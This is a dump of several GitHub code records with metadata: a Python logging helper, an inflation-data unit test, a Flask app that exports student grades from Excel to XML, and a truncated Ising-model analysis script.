None:\n\t\treport = logging.getLogger('SSLVPN')\n\n\t\tformatter = logging.Formatter('%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s', '%a, %d %b %Y %H:%M:%S')\n\n\t\tfile_handler = RotatingFileHandler(\"./logs/report.log\", maxBytes=10*1024*1024, backupCount=5)\n\t\tfile_handler.setLevel(logging.INFO)\n\t\tfile_handler.setFormatter(formatter)\n\n\t\tconsole_handler = logging.StreamHandler(sys.stdout) \n\t\tconsole_handler.setLevel(logging.INFO)\n\t\tconsole_handler.setFormatter(formatter)\n\n\t\t#logger.setLevel(logging.INFO)\t# do not set log level here, it will block debug log \n\t\treport.addHandler(file_handler);\n\t\treport.addHandler(console_handler)\n\ndef log_test():\n\tlog_init()\n\n\tlogger.critical(\"test error log %s %d\", \"this\", 10)\n\tlogger.error(\"test error log %s %d\", \"this\", 10)\n\tlogger.warn(\"test..warn...LOG...........\");\n\tlogger.info(\"test info log %s %d\", \"this\", 10) \n\tlogger.debug(\"test debug log %s %d\", \"this\", 10) \n\t\n\treport.critical(\"report error log %s %d\", \"this\", 10)\n\treport.error(\"report error log %s %d\", \"this\", 10)\n\treport.warn(\"report..warn...LOG...........\");\n\treport.info(\"report info log %s %d\", \"this\", 10) \n\treport.debug(\"report error log %s %d\", \"this\", 10) \n\t\nif __name__ == '__main__':\n\tlog_test()\n", "repo_name": "dennislee-lzq/utils", "sub_path": "python/sslvpn/autotest/log.py", "file_name": "log.py", "file_ext": "py", "file_size_in_byte": 2254, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 12, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 22, "usage_type": "call"}, {"api_name": "logging.handlers.RotatingFileHandler", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 25, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 28, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 29, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 32, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 39, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 41, "usage_type": "call"}, {"api_name": "logging.handlers.RotatingFileHandler", "line_number": 43, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 44, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 47, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 47, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 48, "usage_type": "attribute"}]} +{"seq_id": "4402521441", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 08 13:08:29 2015\n\n@author: Camilla Nore\n\"\"\"\n\n# Test the InflaData class\n\nimport numpy as np\nimport nose.tools\nfrom inflastudy import InflaData\nfrom pandas.util.testing import assert_frame_equal\nimport pandas as pd\n\nk_first_t_in_data = '2006-03-31'\nk_test_data = 'tests/data_input.csv'\nk_test_data_out = 'tests/data_expected_out.csv'\n\n\ndef unit_disabled(func):\n \"\"\" This is a decorator to disable a test.\n To use it, write @unit_disabled before the test.\n \"\"\"\n def wrapper(func):\n func.__test__ = False\n return func\n return wrapper\n\ndef test_init():\n \"\"\" Test that creating an empty object works \"\"\"\n data = InflaData.InflaData()\n assert data is not None\n \ndef test_init_with_data():\n \"\"\" Test loading data_file. \"\"\"\n data = InflaData.InflaData(k_test_data)\n print(data)\n # Verify that the first line of data is read correctly.\n nose.tools.eq_(data.raw_data.index[0],\n np.datetime64(k_first_t_in_data),\n 'First line date does not match')\n print('Successfully loaded test data: \\n', data.raw_data)\n\n#@unit_disabled # This hasn't been implemented yet.\ndef test_cpi_data_conversion():\n \"\"\" Test converting data to relative format. \"\"\"\n data = InflaData.InflaData(k_test_data)\n expected_output = pd.DataFrame.from_csv(k_test_data_out, sep=';')\n # Call to create the output data.\n data.cpi_pred_relative = data.remap_to_relative_time(data.cpi_predictions, \n data.raw_data['CPI'],\n prediction_horizon=5)\n #data.remap_to_relative_time(prediction_horizon=5)\n print(data.raw_data.to_string(na_rep=''))\n print(expected_output.to_string(na_rep=''))\n print(data.cpi_pred_relative.to_string(na_rep=''))\n assert_frame_equal(expected_output, data.cpi_pred_relative)\n\n", "repo_name": "camillanore/Inflastudy", "sub_path": "tests/infla_data_test.py", "file_name": "infla_data_test.py", "file_ext": "py", "file_size_in_byte": 1944, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "inflastudy.InflaData.InflaData", "line_number": 32, "usage_type": "call"}, {"api_name": "inflastudy.InflaData", "line_number": 32, "usage_type": "name"}, {"api_name": "inflastudy.InflaData.InflaData", "line_number": 37, "usage_type": "call"}, {"api_name": "inflastudy.InflaData", "line_number": 37, "usage_type": "name"}, {"api_name": "nose.tools.tools.eq_", "line_number": 40, "usage_type": "call"}, {"api_name": "nose.tools.tools", "line_number": 40, "usage_type": "attribute"}, {"api_name": "nose.tools", "line_number": 40, "usage_type": "name"}, {"api_name": "numpy.datetime64", "line_number": 41, "usage_type": "call"}, {"api_name": "inflastudy.InflaData.InflaData", "line_number": 48, "usage_type": "call"}, {"api_name": "inflastudy.InflaData", "line_number": 48, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_csv", "line_number": 49, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pandas.util.testing.assert_frame_equal", "line_number": 58, "usage_type": "call"}]} +{"seq_id": "73028576327", "text": "from flask import Flask, render_template\nfrom controllers.affichage_cycle import affichage_cycle\nfrom controllers.affichage_planning_after import affichage_planning_after\nfrom controllers.affichage_attestation import affichage_attestation\nfrom controllers.relever_note import affichage_relever_note\nimport pandas as pd\nfrom xml.etree.ElementTree import Element, SubElement, tostring\nfrom lxml import etree\nfrom flask import Response\nfrom lxml.builder import E\nimport lxml.builder\nimport lxml.etree\n\napp = Flask(__name__, template_folder='templates')\n\n@app.route('/affichage', methods=['GET'])\ndef export_to_xml():\n # Read the Excel file into a Pandas DataFrame\n df = pd.read_excel('C:\\\\Users\\\\ashraf\\\\Documents\\\\GitHub\\\\PDF-school-generator-from-XML-files-project\\\\server\\\\data_excel\\\\affichage.xlsx')\n\n # Create the root element and add the DOCTYPE declaration\n # root = etree.XML('<?xml version=\"1.0\"?><notes></notes>')\n # root.addprevious(etree.PI('DOCTYPE', 'notes SYSTEM \"notes.dtd\"'))\n\n # Iterate through the rows in the DataFrame and create a 'note' element for each row\n root = lxml.builder.E.notes(\n # doctype='<!DOCTYPE notes SYSTEM \"notes.dtd\">',\n *[\n E.note(\n E.CNE(str(row['CNE'])),\n E.FirstName(row['FirstName']),\n E.LastName(row['LastName']),\n E.ClassName(row['ClassName']),\n E.ModuleName(row['ModuleName']),\n E.NoteElement(str(row['NoteElement']))\n ) for _, row in df.iterrows()\n ]\n )\n\n # Serialize the XML tree to a string using the 'tostring' function from the 'lxml.etree' module\n xml_str = etree.tostring(root, pretty_print=True).decode('utf-8')\n\n # Write the XML string to a file\n with open(\n 'C:\\\\Users\\\\ashraf\\\\Documents\\\\GitHub\\\\PDF-school-generator-from-XML-files-project\\\\affiche_des_notes\\\\Ginf2_Notes.xml',\n 'w', encoding='utf-8') as f:\n f.write(xml_str)\n\n # Return a response to the client with the file as an attachment\n return Response(\n xml_str,\n mimetype='text/xml',\n headers={\n 'Content-Disposition': 'attachment;filename=data.xml'\n }\n )\n\n\n@app.route('/studentcard', methods=['GET'])\ndef studentCard():\n # Read the Excel file into a Pandas DataFrame\n df = pd.read_excel('C:studentcard.xlsx')\n\n # Create the root element and add the DOCTYPE declaration\n root = etree.Element('card', xmlns='http://studentcard.org')\n\n # Add the logoUae element\n logoUae = etree.SubElement(root, 'logoUae', uri='logoUae.png')\n\n # Add the nameUae element\n nameUae = etree.SubElement(root, 'nameUae')\n nameUae.text = df['nameUae']\n\n # Add the nameSchool element\n nameSchool = etree.SubElement(root, 'nameSchool')\n nameSchool.text = df['nameSchool']\n\n # Add the villeSchool element\n villeSchool = etree.SubElement(root, 'villeSchool')\n villeSchool.text = df['villeSchool']\n\n # Add the logoEnsa element\n logoEnsa = etree.SubElement(root, 'logoEnsa', uri='ensat.png')\n\n # Add the title element\n title = etree.SubElement(root, 'title')\n title.text = 'CARTE D\\'ETUDIANT'\n\n # Add the lastName element\n lastName = etree.SubElement(root, 'lastName')\n lastName.text = df['lastName']\n\n # Add the firstName element\n firstName = etree.SubElement(root, 'firstName')\n firstName.text = df['firstName']\n\n # Add the codeApoge element\n codeApoge = etree.SubElement(root, 'codeApoge')\n codeApoge.text = df['codeApoge']\n\n # Add the photo element\n photo = etree.SubElement(root, 'photo', uri='Achraf_KHABAR.png')\n\n # Add the scanBar element\n scanBar = etree.SubElement(root, 'scanBar', uri='scanbar.png')\n\n # Add the footer element\n footer = etree.SubElement(root, 'footer')\n footer.text = 'Première Inscription : 2019 / 2020'\n\n # Serialize the XML tree to a string using the 'tostring' function from the 'lxml.etree' module\n xml_str = etree.tostring(root, pretty_print=True).decode('utf-8')\n\n # Write the XML string to a file\n with open(\n 'C:studentcard.xml',\n 'w', encoding='utf-8') as f:\n f.write(xml_str)\n\n # Return a response to the client with the file as\n\n\n@app.route('/groupeTp', methods=['GET'])\ndef groupeTp():\n # Read the Excel file into a Pandas DataFrame\n df = pd.read_excel('C:\\\\Users\\\\ashraf\\\\Documents\\\\GitHub\\\\PDF-school-generator-from-XML-files-project\\\\server\\\\data_excel\\\\groupeTp.xlsx')\n\n # Create the root element and add the DOCTYPE declaration\n root = lxml.builder.E.listeEtudiants(\n *[\n E.Etudiant(\n E.Nom(row['FirstName']),\n E.Prenom(row['LastName']),\n CNE=str(row['CNE']),\n id=str(row.name+1)\n ) for _, row in df.iterrows()\n ]\n )\n\n # Serialize the XML tree to a string using the 'tostring' function from the 'lxml.etree' module\n xml_str = etree.tostring(root, pretty_print=True).decode('utf-8')\n\n # Write the XML string to a file\n with open(\n 'C:GroupeTp.xml',\n 'w', encoding='utf-8') as f:\n f.write(xml_str)\n\n # Return a response to the client with the file as an attachment\n return Response(\n xml_str,\n mimetype='text/xml',\n headers={\n 'Content-Disposition': 'attachment;filename=data_new.xml'\n }\n )\n\n\n@app.route('/releverDeNote', methods=['GET'])\ndef releverDeNote(codeModule=None):\n # Read the Excel file into a Pandas DataFrame\n df = pd.read_excel('C:\\\\Users\\\\ashraf\\\\Documents\\\\GitHub\\\\PDF-school-generator-from-XML-files-project\\\\server\\\\data_excel\\\\ReleveNotes.xlsx')\n\n # Create the root element \n root = lxml.builder.E.ReleveN(\n E.logoEnsa(uri=\"ensat.png\"),\n E.logoUae(uri=\"logoUae.jpeg\"),\n E.classe(df.classe[0]),\n E.annee(str(df.annee[0])),\n E.nomEtud(df.nomEtud[0]),\n E.prenomEtud(df.prenomEtud[0]),\n E.CNE(str(df.CNE[0])),\n E.Modules(*[\n E.Module(\n E.codeModule(c=row.codeModule),\n E.designationModule(row.designationModule),\n E.AnneeModule(a=str(row.AnneeModule)),\n E.NoteModule(row.NoteModule),\n E.Matieres(*[\n E.Matiere(\n E.DesignationMatiere(row.DesignationMatiere),\n E.NoteMatiere(row.NoteMatiere)\n ) for _, row in df[df.codeModule == codeModule].iterrows()\n ]))\n for _, row in df.iterrows()\n ])\n )\n\n # Serialize the XML tree to a string using the 'tostring' function from the 'lxml.etree' module\n xml_str = etree.tostring(root, pretty_print=True).decode('utf-8')\n\n # Write the XML string to a file\n with open(\n 'C:\\\\Users\\\\ashraf\\\\Documents\\\\GitHub\\\\PDF-school-generator-from-XML-files-project\\\\affiche_des_notes\\\\ReleveNotes.xml',\n 'w', encoding='utf-8') as f:\n f.write(xml_str)\n\n # Return a response to the client with the file as an attachment\n return Response(\n xml_str,\n mimetype='text/xml',\n headers={\n 'Content-Disposition': 'attachment;filename=ReleveNotes.xml'\n }\n )\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=3003, debug=True)\n", "repo_name": "Ashraf-Khabar/StudentDocumentGenerator", "sub_path": "server/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 7388, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.Flask", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 19, "usage_type": "call"}, {"api_name": "lxml.builder.E.notes", "line_number": 26, "usage_type": "call"}, {"api_name": "lxml.builder", "line_number": 26, "usage_type": "attribute"}, {"api_name": "lxml.builder.E.note", "line_number": 29, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 29, "usage_type": "name"}, {"api_name": "lxml.builder.E.CNE", "line_number": 30, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 30, "usage_type": "name"}, {"api_name": "lxml.builder.E.FirstName", "line_number": 31, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 31, "usage_type": "name"}, {"api_name": "lxml.builder.E.LastName", "line_number": 32, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 32, "usage_type": "name"}, {"api_name": "lxml.builder.E.ClassName", "line_number": 33, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 33, "usage_type": "name"}, {"api_name": "lxml.builder.E.ModuleName", "line_number": 34, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 34, "usage_type": "name"}, {"api_name": "lxml.builder.E.NoteElement", "line_number": 35, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 35, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 41, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 62, "usage_type": "call"}, {"api_name": "lxml.etree.Element", "line_number": 65, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 65, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 68, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 68, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 71, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 71, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 75, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 75, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 79, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 79, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 83, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 83, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 86, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 86, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 90, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 90, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 94, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 94, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 98, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 98, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 102, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 102, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 105, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 105, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 108, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 108, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 112, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 112, "usage_type": "name"}, {"api_name": "pandas.read_excel", "line_number": 126, "usage_type": "call"}, {"api_name": "lxml.builder.E.listeEtudiants", "line_number": 129, "usage_type": "call"}, {"api_name": "lxml.builder", "line_number": 129, "usage_type": "attribute"}, {"api_name": "lxml.builder.E.Etudiant", "line_number": 131, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 131, "usage_type": "name"}, {"api_name": "lxml.builder.E.Nom", "line_number": 132, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 132, "usage_type": "name"}, {"api_name": "lxml.builder.E.Prenom", "line_number": 133, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 133, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 141, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 141, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 150, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 162, "usage_type": "call"}, {"api_name": "lxml.builder.E.ReleveN", "line_number": 165, "usage_type": "call"}, {"api_name": "lxml.builder", "line_number": 165, "usage_type": "attribute"}, {"api_name": "lxml.builder.E.logoEnsa", "line_number": 166, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 166, "usage_type": "name"}, {"api_name": "lxml.builder.E.logoUae", "line_number": 167, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 167, "usage_type": "name"}, {"api_name": "lxml.builder.E.classe", "line_number": 168, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 168, "usage_type": "name"}, {"api_name": "lxml.builder.E.annee", "line_number": 169, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 169, "usage_type": "name"}, {"api_name": "lxml.builder.E.nomEtud", "line_number": 170, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 170, "usage_type": "name"}, {"api_name": "lxml.builder.E.prenomEtud", "line_number": 171, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 171, "usage_type": "name"}, {"api_name": "lxml.builder.E.CNE", "line_number": 172, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 172, "usage_type": "name"}, {"api_name": "lxml.builder.E.Modules", "line_number": 173, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 173, "usage_type": "name"}, {"api_name": "lxml.builder.E.Module", "line_number": 174, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 174, "usage_type": "name"}, {"api_name": "lxml.builder.E.codeModule", "line_number": 175, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 175, "usage_type": "name"}, {"api_name": "lxml.builder.E.designationModule", "line_number": 176, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 176, "usage_type": "name"}, {"api_name": "lxml.builder.E.AnneeModule", "line_number": 177, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 177, "usage_type": "name"}, {"api_name": "lxml.builder.E.NoteModule", "line_number": 178, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 178, "usage_type": "name"}, {"api_name": "lxml.builder.E.Matieres", "line_number": 179, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 179, "usage_type": "name"}, {"api_name": "lxml.builder.E.Matiere", "line_number": 180, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 180, "usage_type": "name"}, {"api_name": "lxml.builder.E.DesignationMatiere", "line_number": 181, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 181, "usage_type": "name"}, {"api_name": "lxml.builder.E.NoteMatiere", "line_number": 182, "usage_type": "call"}, {"api_name": "lxml.builder.E", "line_number": 182, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 190, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 190, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 199, "usage_type": "call"}]} +{"seq_id": "30344079730", "text": "#! /usr/local/bin/python3\nfrom AnalysisTools import Simulation, parmap, tqdm, t_c, USE_DISK, \\\n smart_duration, save_plot, pretty_pm, multi_run, auto_cov\nfrom numpy import linspace, sqrt, append, exp, array, argmax, arange, mean, \\\n polyfit, std\nfrom scipy.interpolate import splrep, splev\nfrom scipy.optimize import curve_fit, brentq\nimport matplotlib.pyplot as plt\nfrom matplotlib import rc\n\n# rc('font',**{'family':'sans-serif','sans-serif':['Helvetica']})\nrc('font', **{'family': 'serif', 'serif': ['Times']})\nrc('text', usetex=True)\nplt.rcParams[\"font.size\"] = 14\n\n\n# ------------------------------------------------------------------------\n\n\ndef time_plot(simulations):\n \"\"\" Plot evolution of magnetisation and mean energy.\"\"\"\n fig, ax = plt.subplots(nrows=2, sharex='col')\n for s in simulations:\n ax[0].plot(s.times(), s.magnetizations(),\n label='T=' + str(s.temperature))\n ax[0].set_ylabel(r'magnetisation / spin')\n for s in simulations:\n ax[1].plot(s.times(), s.mean_energies(),\n label='T=' + str(s.temperature))\n ax[1].set_ylabel(r'energy per spin / J')\n plt.xlabel('time steps')\n\n\ndef investigate_time_evolution(temps=None, grain_sizes=None, h=0):\n \"\"\"\n Plot evolution of system set to chequerboard pattern of different\n grain_sizes.\n\n Parameters: \n -----------\n temps: iterable \n \n grain_sizes: iterable\n list of sizes of the chequerboard pattern. \n\n h: float\n external magnetic field applied. \n \"\"\"\n if temps is None:\n temps = [0.12, 0.56, 2.1, 2.3, 3.5]\n if grain_sizes is None:\n grain_sizes = [0, 3, 10]\n for g in grain_sizes:\n sims = [\n Simulation(temperature=t, grain_size=g, duration=(300 + 50*g),\n magnetic_field=h) for t in temps]\n time_plot(sims)\n save_plot('Evolution from chequerboard pattern of grain size '\n '' + str(g) + 'x' + str(g))\n\n\n# -------------------------------------------------------------------------\n\ndef magnetisation_fit(x, centre, breadth, ):\n \"\"\"Helper function to produce fit.\"\"\"\n return 1/(exp(-(x - centre)/breadth) - 1)\n\n\ndef investigate_magnetisation_critical_transitions(lattice_sizes,\n temps=None, **kwargs):\n \"\"\"\n Plot the magnetisation and mean energy as a function of temperature. \n Determine critical temperature by approximating the transition to a\n Fermi-Dirac distribution.\n \n Returns:\n --------\n List of critical temperatures. \n \"\"\"\n if temps is None:\n temps = linspace(1.2, 3, 32)\n fig, ax = plt.subplots(nrows=2, sharex='col')\n ax[0].set_ylabel('magnetisation / spin')\n ax[1].set_ylabel('energy per spin/ J')\n ax[0].axvline(x=t_c, color='k', ls='--')\n ax[1].axvline(x=t_c, color='k', ls='--')\n res = []\n for l in tqdm(lattice_sizes):\n simulations = [Simulation(lattice_size=l, temperature=t,\n duration=smart_duration(l, t),\n dry_run=True) for t in temps]\n data = parmap(lambda s: multi_run(s, **kwargs), tqdm(simulations))\n terminal_magnetisations = array(data).T[0]\n # The data.T[1] holds the relative errors, not absolute ones.\n sigma_magnetisations = array(data).T[1]\n sigma_magnetisations = terminal_magnetisations*sigma_magnetisations\n terminal_energies = array(data).T[2]\n ax[0].errorbar(temps, terminal_magnetisations,\n yerr=sigma_magnetisations, fmt='-',\n label='N = ' + str(l))\n ax[1].plot(temps, terminal_energies, '-', label='N =' + str(l))\n popt, _ = curve_fit(magnetisation_fit, temps,\n terminal_magnetisations)\n res.append(popt[0])\n plt.xlabel('temperature / J')\n plt.xticks(\n append(linspace(min(temps), t_c, 3), linspace(t_c, max(temps), 3)))\n save_plot('Critical temperature from magnetisation')\n return res\n\n\n# -------------------------------------------------------------------------\n\ndef investigate_autocorrelation(lattice_sizes, max_t: int = 10**6,\n temps=None, ):\n \"\"\"\n Plots autocorrelation for different temperatures and sizes as a \n function of time. \n\n Parameters:\n -----------\n lattice_sizes: iterable\n \n max_t: int\n Maximum time to run simulations for. \n\n temps: iterable\n\n take_every: int\n Only run for 'take_every'-th lattice size. \n\n Returns:\n --------\n List $\\tau_e$ , labelled by the temperature, and size. \n \n \"\"\"\n if temps is None:\n temps = linspace(1.8, 3.0, 50)\n time = linspace(0, max_t, 50, dtype=int)\n fig, axes = plt.subplots(nrows=len(lattice_sizes), sharex='col',\n sharey='col')\n tau_e, print_interval = [], int(len(temps)/5)\n for ax, l in zip(axes, tqdm(lattice_sizes)):\n t_e, counter = [], 0\n for temp in tqdm(temps):\n s = Simulation(duration=max_t, lattice_size=l,\n temperature=temp)\n autocorr, sigma_autocorr = generate_autocorr_data(s, time)\n t_e.append(find_tau_e(autocorr, time, max_t))\n if counter % print_interval == 0:\n plot_autocorrelation(autocorr, sigma_autocorr, ax, s, time)\n counter += 1\n tau_e.append(t_e)\n tau_e = array(tau_e)\n plt.xlabel(r'$\\tau$')\n fig.set_size_inches(10.5, 10.5)\n save_plot('Autocorrelation', legend_loc='upper right')\n plt.errorbar(temps, mean(tau_e, axis=0), yerr=std(tau_e, axis=0),\n fmt='-')\n plt.axvline(x=t_c)\n plt.xlabel('temperature / (J / $k_B$)')\n plt.ylabel(r'$\\tau_e$ / time steps')\n save_plot('Coherence lifetime vs. temperature')\n plt.errorbar(lattice_sizes, mean(tau_e, axis=1),\n yerr=std(tau_e, axis=1), fmt='.')\n plt.xlabel('Lattice size / arb. units')\n plt.ylabel(r'$\\tau_e$ / time steps')\n save_plot('Coherence lifetime vs. lattice size')\n return tau_e\n\n\ndef find_tau_e(autocorr, time, max_t):\n smoothed = splrep(time, autocorr)\n root = brentq(lambda x: splev(x, smoothed) - 1/exp(1), 1.0, max_t)\n return root\n\n\ndef generate_autocorr_data(s, time):\n data = []\n for i in range(3):\n autocov = parmap(lambda t: auto_cov(s.magnetizations(), t), time)\n norm = auto_cov(s.magnetizations(), 0)\n data.append(autocov/norm)\n arr = array(data)\n return mean(arr, axis=0), std(arr, axis=0)\n\n\ndef plot_autocorrelation(autocorr, sigma_autocorr, ax, s, time):\n ax.errorbar(time, autocorr, yerr=sigma_autocorr, fmt='-',\n label='T = {:01.3}'.format(s.temperature))\n ax.axhline(y=1/exp(1), ls='--')\n ax.set_yticks([0, 1/exp(1), 1], )\n ax.set_yticklabels(['0', r'1/e', '1'])\n ax.set_ylabel('N = ' + str(s.lattice_size))\n\n\n# -------------------------------------------------------------------------\n\n\ndef investigate_heat_capacity(lattice_sizes, temps=None, skip=3, **kwargs):\n \"\"\"\n Plot the heat capacity versus temperature for different lattice sizes.\n Find the critical temperature for each size by doing a spline smoothing\n and finding the peak. \n\n Parameters: \n -----------\n lattice_sizes: iterable\n\n temps: iterable \n\n **kwargs: keyword_arguments\n Arguments to be passed to multi_run()\n\n Returns: \n List of critical temperatures. \n \"\"\"\n if temps is None:\n temps = append(linspace(1.6, 4.25, 12), linspace(1.8, 2.8, 24))\n temps.sort()\n\n fig, _ = plt.subplots()\n crit_temps, counts = [], 0\n for l in tqdm(lattice_sizes, desc='Lattice sizes'):\n for t in temps:\n pass\n caps, cap_errs = generate_data(temps, l, **kwargs, )\n up_temps, up_caps = upscale(caps, temps)\n main_peak = argmax(up_caps)\n crit_temps.append(up_temps[main_peak])\n counts += 1\n if counts % skip == 0:\n plt.errorbar(temps, caps, fmt='+', yerr=cap_errs,\n label='N = ' + str(l))\n plt.plot(up_temps[main_peak], up_caps[main_peak], 'bo', )\n plt.plot(up_temps, up_caps,\n label='N = ' + str(l) + ' smoothed')\n\n plt.xticks(append(linspace(min(temps), t_c, 3),\n linspace(t_c, max(temps), 4)))\n plt.ylabel(r'$C_V/ k_B$')\n plt.axvline(x=t_c, ls='-.', color='k')\n fig.set_size_inches([10.5, 10.5])\n plt.xlabel('temperature / $J/ k_B$')\n save_plot('Heat capacity', )\n return crit_temps\n\n\ndef generate_data(temps: iter, size=32, hs=0, r1=3, r2=4, **kwargs, ):\n global use_disk\n use_disk = False\n simulations = [\n Simulation(magnetic_field=hs, lattice_size=size, temperature=t,\n dry_run=True) for t in temps]\n data = parmap(lambda s: multi_run(s, **kwargs),\n tqdm(simulations, desc='Temperature samples'))\n sigmas = array(data).T[r1]\n meta_sigmas = array(data).T[r2]\n if r1 == 3:\n data = array(\n [sigma**2/(temp**2)*size**2 for temp, sigma in zip(temps, sigmas)])\n elif r1 == 1:\n data = array(\n [sigma**2/(temp**2)*size**2 for temp, sigma in zip(temps, sigmas)])\n else:\n data = sigmas\n sigma_data = data[:]*meta_sigmas[:]\n return data, sigma_data\n\n\ndef upscale(data, temps):\n smoothed = splrep(temps, data, s=1/256)\n up_temps = linspace(min(temps), max(temps), 1000)\n return up_temps, splev(up_temps, smoothed)\n\n\n# -------------------------------------------------------------------------\n\n\ndef finite_size_scale(x, t_inf, a, v):\n \"\"\"Helper function for producing a fit. \"\"\"\n return t_inf + a*(x**(-1/v))\n\n\ndef investigate_finite_size_scaling(critical_temperatures, lattice_sizes,\n source='capacity', **kwargs):\n \"\"\"\n Test the hypothesis, that the critical temperature scales with the\n lattice size as $T_c (N) = T_C(\\inf) + a N^{-\\frac{1}{\\nu}}$\n \"\"\"\n if critical_temperatures is None:\n critical_temperatures = investigate_heat_capacity(lattice_sizes,\n **kwargs)\n source = 'capacity'\n args, cov = curve_fit(finite_size_scale, lattice_sizes,\n critical_temperatures)\n data = (args, cov)\n lbl = r'$ ' + pretty_pm(data,\n 0) + '$' + r' $' + r'+ \\frac{' + pretty_pm(\n data, 1) + r'}{N^ {-1/' + pretty_pm(data, 2) + r'}}' + r'$'\n plt.plot(lattice_sizes, critical_temperatures, 'b+', label='data')\n plt.plot(lattice_sizes, finite_size_scale(lattice_sizes, *args), 'r-',\n label=lbl)\n 